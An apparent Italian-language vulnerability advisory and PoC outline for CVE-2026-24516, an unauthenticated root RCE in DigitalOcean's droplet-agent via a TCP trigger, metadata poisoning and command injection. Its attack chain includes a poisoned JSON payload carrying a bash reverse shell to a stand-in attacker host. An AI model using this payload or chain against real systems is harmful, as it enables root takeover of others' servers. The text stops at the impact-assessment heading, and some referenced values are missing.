
Analisi tecnica e PoC per CVE-2026-24516: esecuzione di codice in modalità remota come root non autenticata in DigitalOcean Droplet Agent (CVSS 10.0).
ID: CVE-2026-24516
TITOLO: RCE Root non autenticato tramite Metadata Poisoning e Side-Channel
GRAVITÀ: Critica (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
RICERCATORE: Anmol Singh Rajput (@poxsky)
AFFETTI: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
Il 'droplet-agent' è un demone di sistema privilegiato (UID 0) progettato per la telemetria e la diagnostica remota. Mantiene uno stato di monitoraggio passivo finché non viene ricevuta una specifica sequenza di segnalazione. La vulnerabilità principale risiede nel "Modello di Fiducia Implicita" del servizio di metadati link-local (169.254.169.254), che manca di controlli di integrità crittografica.
A. SIDE-CHANNEL TCP PASSIVO (IL LIVELLO DI SEGNALAZIONE) L'agente utilizza un listener raw socket (internal/metadata/watcher/ssh_watcher.go) sulla Porta 22. Esegue la transizione di stato da IDLE ad ACTIVE in base a costanti magiche hardcoded nell'header TCP:
Analisi: Questo crea un trigger deterministico. Un attaccante esterno può impersonare il control plane dell'infrastruttura spoofando un singolo pacchetto TCP SYN con questi valori magici.
B. VIOLAZIONE DEL CONFINE DI FIDUCIA (IL FLAW LINK-LOCAL) Alla segnalazione, l'agente recupera istruzioni JSON dall'endpoint dei metadati cloud. La vulnerabilità è una Mancanza di Verifica dell'Autenticità. L'agente tratta la zona 169.254.169.254 come una "Zona Fidata Rinforzata", omettendo di verificare le firme del payload (HMAC/mTLS).
C. IL SINK: INIEZIONE DI COMANDI NON SANIFICATA Il 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) contiene un sink in cui analizza l'array 'requesting'.
IMPERSONIFICAZIONE: L'attaccante identifica un SSRF in un'applicazione ospitata per inoltrare richieste al servizio di metadati link-local.
AVVELENAMENTO: L'attaccante configura un server di metadati malevolo che restituisce: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
IL COLPO: L'attaccante invia il trigger TCP "DODO-TTY" alla Porta 22.
ESECUZIONE: L'agente recupera il JSON avvelenato ed esegue la reverse shell con UID EFFETTIVO 0 (Root).
VALUTAZIONE DELL'IMPATTO
